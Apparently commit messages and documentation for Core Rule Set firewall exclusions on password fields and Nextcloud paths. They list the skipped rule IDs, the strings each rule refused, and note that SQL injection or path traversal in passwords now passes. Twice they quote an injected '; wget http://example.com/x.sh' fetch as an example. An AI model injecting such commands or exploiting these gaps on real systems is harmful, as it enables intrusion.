Core Rule Set: random passwords pass at sign-in (closes #276 )

A password manager's random password set off 35 Core Rule Set rules, about 1 in 40 refused. The password fields the app exclusions name now skip those rules on their paths: WordPress pwd, Drupal pass, MediaWiki wpPassword, lgpassword and password, Mastodon's sign-in, sign-up, password change, move and delete passwords, and Nextcloud's sign-in password. The tests draw 2,000 random passwords from a fixed seed, plus one rare password for each rule the 2,000 do not set off. Those that set off a rule in a field no exclusion names are sent to every password field. An SQL injection or a path traversal sent as a password now passes; a script injection is still refused. Model: opus-5-5
Core Rule Set: Nextcloud's ordinary requests pass by default (closes #240 )

+14. On Nextcloud's paths, some fields skip the rules that refused ordinary
+    Nextcloud requests there, and its WebDAV methods are allowed.
+    `internal/coreruleset/nextcloud.conf` lists each rule and the request it
+    refused.
+
+    The sync client and the Files app use WebDAV on these paths:
+    - `/remote.php/dav/`;
+    - `/public.php/dav/`;
+    - `/remote.php/webdav/`;
+    - `/public.php/webdav/`.
+
+    These methods are allowed there, besides those of the first change:
+    - `PROPFIND` and `PROPPATCH`;
+    - `MKCOL`;
+    - `COPY` and `MOVE`;
+    - `REPORT` and `SEARCH`;
+    - `LOCK` and `UNLOCK`, with which the desktop client locks a file.
+
+    A file the Files app or the sync client uploads with `PUT` to these paths is
+    a file, not form data. The Core Rule Set does not read the body of a `PUT`
+    there. So a JSON file holding `python3 -m pytest` uploads, and so does an
+    XML file holding `ls -la /var/log`. The headers, path and query of the `PUT`
+    are still checked.
+
+    The cookie `nc_username` holds the name of the account signed in. It skips
+    the lists of system files and command names (930120, 932120, 932250, 932260)
+    on every path, since every request sends it.
+
+    These fields skip the same four rules, in the query or the body:
+    - On `/login`, for signing in:
+        - `user` and `password`;
+        - `redirect_url`, the page to go to after signing in.
+    - `dir`, the folder shown, on the paths under `/apps/files/`.
+    - The file names on a public share:
+        - `file` on the paths under `/apps/files_sharing/publicpreview/`;
+        - `path` and `files` on `/s/<token>/download`.
+    - On the OCS API, the paths under `/ocs/v1.php/` and `/ocs/v2.php/`:
+        - the searches `search` and `term`, and `from`, the page searched from;
+        - the names `groupid`, `userid`, `displayName` and `groups[]`;
+        - `value`, a new value of an account's details;
+        - `path`, `label` and `shareWith`, for a share.
+
+    These fields of a JSON body skip the same four rules:
+    - On the OCS API, each field of the list above.
+    - `value` on `/apps/theming/ajax/updateStylesheet`, the name and slogan in
+      the theming settings.
+    - `filePath` on `/apps/text/session/<id>/save`, the document the editor
+      saves.
+    - `name` on `/remote.php/dav/systemtags/`, a new tag.
+
+    `password` in the body of `/login`, the password when signing in, skips each
+    rule that random passwords set off (920270, 920540, 921200, 930100, 930110,
+    930120, 932125, 932130, 932160, 932230, 932250, 932260, 932270, 932280,

+    942540, 942550, 944150). It applies only when the query has no `password`
+    parameter. An SQL injection or a path traversal sent as the password reaches
+    Nextcloud. A script injection is still refused.
+
+    Some fields hold sentences a person writes:
+    - `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS
+      API and on each share under it;
+    - `message`, an account's status, on
+      `apps/user_status/api/v1/user_status/message/custom` of the OCS API;
+    - `message` in the JSON body that posts a comment to
+      `/remote.php/dav/comments/files/<id>`;
+    - the XML body of a `PROPPATCH` that edits a comment;
+    - `autosaveContent` on `/apps/text/session/<id>/save`, the text of a
+      document.
+
+    These fields skip the same four rules. They also skip the rules that refused
+    ordinary sentences there, such as `It is fixed; diff attached` (932125,
+    932230, 932235, 932380). A share's note and a status skip them in the query
+    or the body. A document's text skips two more, which refused a shell script
+    in a code block (932160, 932370). So a shell command such as
+    `; wget http://example.com/x.sh` reaches Nextcloud in these fields. SQL
+    injection, path traversal and script injection are still refused there.
+
+    The XML body of a `SEARCH` on `/remote.php/dav/`, the Files app's search,
+    skips the four rules.
+
+    These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
+    applies to a JSON field when the query has a parameter of that name, such as
+    `json.message`. Nextcloud's pages are matched at the site root and under
+    `/index.php/`. Elsewhere these fields keep every rule. An app other than
+    Nextcloud that serves one of these paths must check these fields itself.

+# The fourteenth change: on Nextcloud's paths, some fields skip the rules that
+# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
+# sends a search, a name, a file name, a folder, a comment, a note, a status or
+# a document's text. Each exclusion runs with the request, before the rules it
+# switches off, so this file is loaded before the Core Rule Set's rules. Each
+# comment names a request a rule refused. An exclusion on a field of a JSON body
+# applies only when the query has no parameter of that name, so it matters only
+# while SWW_WAF_BODY_LIMIT is set. Nextcloud's pages are matched at the site
+# root and under /index.php/, where a Nextcloud without pretty URLs serves them.
+#
+# Four rules read a search or a name as a command or a system file:
+#   930120: .htaccess
+#   932120: powershell
+#   932250: ls -la
+#   932260: python3
+# Each exclusion below removes these four from its fields.
+#
+# A comment, a share's note and an account's status hold sentences a person
+# writes. Four more rules refused ordinary sentences there:
+#   932125: It is fixed; diff attached
+#   932230: Run python3 or powershell; ls -la shows .htaccess
+#   932235: We need more time; find the old notes first
+#   932380: Tested on Windows; powershell works
+# The text of a document holds such sentences too, and code blocks. Two more
+# rules refused a shell script in a code block:
+#   932160: #!/bin/bash
+#   932370: ```bash, which starts the code block
+# These fields skip the rules that refused them. So a shell command such as
+# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
+# injection, path traversal and script injection are still refused there.
